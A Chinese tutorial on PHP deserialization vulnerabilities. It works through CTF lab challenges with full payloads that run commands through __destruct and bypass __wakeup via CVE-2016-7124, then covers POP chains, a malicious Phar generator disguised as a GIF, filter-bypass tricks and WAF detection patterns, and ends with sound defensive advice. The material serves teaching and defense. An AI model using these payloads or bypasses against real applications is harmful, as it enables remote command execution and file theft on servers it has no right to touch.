PHP 反序列化漏洞从入门到实战
2026/6/19 4:38:06 网站建设 项目流程

前言

序列化是 PHP 开发中广泛用于 Session、缓存、数据传输的机制,但如果直接将用户可控数据传入unserialize(),攻击者可构造恶意序列化字符串自动触发魔术方法,实现任意文件读取、远程命令执行、服务器沦陷。

在 CTF、渗透测试中,反序列化属于难度偏高但套路固定的漏洞;红队常结合 Phar 协议实现无unserialize()入口的文件触发利用。本文结合课堂 PPT 实战例题,完整梳理学习路线,所有代码可本地复现。

一、序列化与反序列化基础原理

1.1 通俗理解

序列化:把复杂对象 / 数组 “拆成零件打包成字符串”,方便存储、网络传输; 反序列化:收到字符串后,重新组装回原始对象 / 数组。 类比:网购桌子,厂家拆分板材打包(序列化),买家收货组装(反序列化)。

1.2 两大核心函数

  1. serialize($val):序列化,除资源 resource 外所有类型均可序列化
  2. unserialize($str):反序列化,漏洞核心函数,可控输入传入即存在风险
基础数据类型序列化演示

php

运行

<?php echo serialize(null); // N; echo serialize(true); // b:1; echo serialize(false); // b:0; echo serialize(123); // i:123; echo serialize(3.14); // d:3.14; echo serialize("hello"); // s:5:"hello"; echo serialize([1,2,3]); // a:3:{i:0;i:1;i:1;i:2;i:2;i:3;} ?>

1.3 数组序列化示例

php

运行

<?php $arr = ["name"=>"zhangsan","age"=>20,"score"=>99]; $ser = serialize($arr); echo $ser; //输出:a:3:{s:4:"name";s:8:"zhangsan";s:3:"age";i:20;s:5:"score";i:99;} //解析:a=数组,3=3个键值对

1.4 对象序列化基础

php

运行

<?php class User{ public $name = "admin"; public $role = "administrator"; } $obj = new User(); echo serialize($obj); //输出:O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:13:"administrator";} //O代表对象,4是类名字符长度,2是属性数量

1.5 序列化完整标识符对照表

表格

标识类型格式示例
NNULLN;
b布尔b:1; / b:0;
i整型i:123;
d浮点d:3.14;
s普通字符串s:5:"hello";
S转义字符串S:5:"he\6c\6co";
a数组a:2:{...}
O对象O:4:"Test":1:{...}
r/R对象 / 指针引用r:1; R:2;

1.6 访问修饰符对序列化字符串的影响

public、protected、private 属性序列化后格式不同,CTF 私有属性题目高频考点:

php

运行

<?php class Test { public $pub = "public"; protected $pro = "protected"; private $pri = "private"; } echo serialize(new Test()); //O:4:"Test":3:{ //s:3:"pub";s:6:"public"; //s:6:"*pro";s:9:"protected"; // protected前缀 \0*\0 //s:9:"Testpri";s:7:"private";// private前缀 \0类名\0 //}

规则汇总:

  1. public:直接写属性名s:3:"pub"
  2. protected:\0*\0属性名,长度 + 3
  3. private:\0类名\0属性名,长度 + 类名长度 + 2

二、7 道自建靶场 CTF 例题(由浅入深,完整 Payload)

例题 1:数组反序列化基础题

源码

php

运行

<?php highlight_file(__FILE__); $data = unserialize($_POST['data']); if ($data['username'] === 'admin333' && $data['password'] === '837432894923478') { system('cat /flag'); } else { echo 'wrong!'; } ?>

Payload 生成脚本

php

运行

<?php $arr = array("username"=>"admin333","password"=>"837432894923478"); $ser = serialize($arr); echo $ser;

POST 传参:data=a:2:{s:8:"username";s:8:"admin333";s:8:"password";s:15:"837432894923478";}

例题 2:public 对象基础题

源码

php

运行

<?php highlight_file(__FILE__); class Person { public $name; public $age; function __construct($name, $age) { $this->name = $name; $this->age = $age; } } $person = unserialize($_POST['person']); if ($person->name === 'admin333' && $person->age === 24) { system('cat /flag'); } else { echo 'wrong!'; } ?>

Payload:O:6:"Person":2:{s:4:"name";s:8:"admin333";s:3:"age";i:24;}

例题 3:protected+private 私有属性题

源码存在protected $nameprivate $age,读取getName()/getAge()校验,输出对象触发魔术方法。 解题要点:序列化字符串必须带上\0不可见字符,提交时需要 url 编码。 Payload 生成:echo urlencode(serialize($person));

例题 4:__destruct 析构方法命令执行

漏洞核心:脚本销毁时自动执行__destruct(),可控变量传入system()源码核心逻辑:

php

运行

class Person { private $name; //存储函数名system private $age; //存储命令cat /flag function __destruct() { $func = $this->name; $func($this->age); } } $person = unserialize($_POST['person']);

Payload 生成脚本:

php

运行

<?php class Person { private $name; private $age; function __construct($name, $age) { $this->name = $name; $this->age = $age; } } $person = new Person("system","cat /flag_9263.txt"); echo urlencode(serialize($person));

例题 5:__toString 文件读取 +__wakeup 重置

题目同时存在__wakeup()重置 age=18、__toString()执行file_get_contents; 反序列化触发__wakeup修改属性,echo 对象触发__toString读取文件。

例题 6:CVE-2016-7124 __wakeup 绕过(高频考点)

漏洞原理

PHP<5.6.25 / PHP<7.0.10 存在漏洞:序列化字符串中声明的属性数量大于实际属性数,__wakeup()不会执行。 题目代码:

php

运行

class Person { private $name; private $age; function __wakeup() { $this->age = 18; //强制覆盖,绕过即可保留我们传入的命令 } function __destruct() { $func = $this->name; $func($this->age); } }

绕过 Payload 生成:

php

运行

<?php $person = new Person("system","cat /flag_a47b33606.txt"); $s = serialize($person); //将属性数量2改为3,绕过wakeup $bypass = str_replace('O:6:"Person":2','O:6:"Person":3',$s); echo urlencode($bypass);

例题 7:引用 & 绕过等值判断

利用序列化 R/r 引用符号,让两个私有属性指向同一内存地址,绕过$this->name === $this->age严格相等判断。 Payload 核心:构造对象时属性互相引用$this->name = &$this->age;

三、PHP 魔术方法全解(反序列化漏洞核心桥梁)

魔术方法以双下划线__开头,满足特定条件自动调用,是漏洞利用的关键跳板。

3.1 生命周期核心方法

  1. __construct():实例化new 类()触发,反序列化不会调用
  2. __destruct():对象销毁、脚本结束自动触发,反序列化必触发,最常用入口
  3. __sleep():序列化 serialize 前执行,筛选需要序列化的属性
  4. __wakeup():unserialize 反序列化完成后立刻触发,常用来安全校验,可被 CVE 漏洞绕过
  5. PHP7.4 + 新增__serialize()/__unserialize(),优先级高于 sleep/wakeup

3.2 字符串转换跳板:__toString ()

对象被当作字符串使用时触发:echo $obj、字符串拼接、print、printf。 典型利用:

php

运行

class Reader { public $filename; public function __toString() { return file_get_contents($this->filename); //读取任意文件 } } class Printer { public $obj; public function __destruct() { echo $this->obj; //触发__toString } }

POP 链流程:反序列化→__destruct→echo→__toString→文件读取

3.3 函数调用跳板:__invoke ()

对象像函数一样$obj()调用时触发,常用来执行 system/eval 命令。

3.4 方法 / 属性访问跳板(POP 链必备)

  • __call():调用不存在实例方法触发
  • __callStatic():调用不存在静态方法触发
  • __get():读取私有 / 不存在属性触发
  • __set():赋值私有 / 不存在属性触发
  • __isset()/__unset():isset、unset 访问属性触发

魔术方法触发汇总表

表格

魔术方法反序列化直接触发触发场景利用定位
__constructnew 实例化
__destruct脚本结束 / 对象销毁漏洞入口首选
__wakeupunserialize 执行完毕入口、绕过目标
__toString对象当字符串输出POP 链中间跳板
__invoke对象作为函数调用命令执行跳板
__call/__get访问不存在方法 / 属性POP 链串联跳板

四、POP 链(面向属性编程)构造原理

4.1 POP 链定义

单一类无法直接执行危险操作时,通过多个类的魔术方法串联,形成完整攻击链路,称为 POP 链。 三要素:

  1. 入口点:反序列化自动触发(__destruct /__wakeup)
  2. 跳板 Gadget:__toString、__call、__get 等串联逻辑
  3. Sink 危险终点:system ()、eval ()、file_get_contents、unlink 等高危函数

4.2 标准 POP 链流程示例

plaintext

反序列化对象 → __destruct()执行echo输出对象A → 对象A触发__toString() → 对象A内部调用不存在方法 → 触发__call() → 调用system执行命令

4.3 两种构造思路

  1. 正向分析:从入口__destruct/__wakeup 出发,一步步追踪可触发的魔术方法
  2. 逆向回溯:先找到 system/eval 等危险函数,反向寻找能调用它的魔术方法,直到找到反序列化入口

五、Phar 反序列化(无 unserialize 也能触发)

5.1 原理

Phar 是 PHP 归档文件,文件元数据 Manifest 以序列化字符串存储;当使用phar://协议访问文件操作函数时,PHP 自动解析元数据并执行 unserialize,无需页面存在unserialize()函数。

5.2 Phar 文件四部分结构

  1. Stub 存根:必须以__HALT_COMPILER(); ?>结尾,可伪装图片 GIF89a
  2. Manifest 清单:存放序列化对象(攻击核心)
  3. 文件内容:至少包含一个文件
  4. 可选签名:校验文件完整性

5.3 可触发 Phar 反序列化的函数

file_get_contents、fopen、file、stat、filesize、unlink、copy、md5_file、getimagesize、scandir 等几乎所有文件操作函数。

5.4 生成恶意 Phar 文件代码

php

运行

<?php // php.ini设置 phar.readonly = Off class Evil { public $cmd = "cat /flag"; public function __destruct() { system($this->cmd); } } $phar = new Phar("evil.gif"); $phar->startBuffering(); //伪装成gif图片 $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //写入恶意序列化对象 $phar->setMetadata(new Evil()); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); rename("evil.gif","1.gif");

5.5 Phar 协议绕过过滤技巧

  1. 大小写绕过:Phar://PHAR://
  2. URL 双重编码绕过字符串过滤
  3. 协议嵌套php://filter/resource=phar://xxx
  4. 后缀伪装成 jpg/gif 上传,配合文件包含触发

六、反序列化漏洞形成三大必要条件

  1. 可控输入传入 unserialize:GET/POST/Cookie/ 上传文件内容等用户可控数据直接反序列化
  2. 页面存在可利用 Gadget 类:代码中存在包含危险操作的魔术方法(__destruct、__wakeup 等)
  3. 目标类可正常加载:反序列化时类文件已引入、自动加载可找到类定义

常见危险代码模式

php

运行

//模式1:直接接收POST参数 $obj = unserialize($_POST['data']); //模式2:读取Cookie反序列化 $user = unserialize($_COOKIE['user']); //模式3:读取缓存/数据库序列化数据 $cache = unserialize($row['cache_data']); //模式4:Phar协议触发(无unserialize函数) file_get_contents("phar://upload/1.gif");

七、生产环境完整防御方案

7.1 最优方案:彻底替换序列化方案

  1. 使用json_encode/json_decode替代 serialize,JSON 不支持对象、无魔术方法,不存在漏洞;
  2. 无法替换时,给序列化数据添加 HMAC 签名校验,篡改后直接拒绝。

php

运行

<?php //签名安全示例 $secret = "random_key_123456"; $raw = serialize($user); $sign = hash_hmac("sha256",$raw,$secret); $send = base64_encode($raw."|".$sign); //校验 $tmp = explode("|",base64_decode($send)); if(!hash_equals($tmp[1],hash_hmac("sha256",$tmp[0],$secret))) die("数据被篡改"); $user = unserialize($tmp[0]);

7.2 PHP7 + 白名单限制(allowed_classes)

仅允许指定安全类反序列化,禁止任意对象:

php

运行

//只允许SafeUser类,其他类直接失效 unserialize($data,["allowed_classes"=>["SafeUser"]]);

7.3 代码审计与编码规范

  1. 禁止在__destruct__wakeup中执行 system、eval、文件读写等高风险操作;
  2. 所有魔术方法增加严格属性校验;
  3. 关闭 php.iniphar.readonly = On,禁止生成 phar 恶意文件;
  4. 过滤用户输入,拒绝包含 O: 对象标识、phar:// 协议的请求内容。

7.4 运维与 WAF 防护

  1. WAF 拦截phar://、恶意序列化特征字符串O:\d+:"
  2. 静态代码扫描工具(RIPS)审计 unserialize 调用;
  3. 日志监控异常文件访问、POST 序列化字符串流量。

八、总结

  1. 基础核心:掌握 serialize/unserialize 字符串格式、三种属性序列化差异,能独立构造基础 Payload;
  2. 漏洞核心:魔术方法触发链路,__destruct 为最常用入口,__wakeup 存在经典 CVE 绕过;
  3. 进阶考点:POP 链串联多类魔术方法、Phar 无 unserialize 触发、引用绕过等值判断;
  4. 防御核心:不信任任何用户可控序列化数据,优先 JSON 替代,配合签名 + 类白名单双重防护。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询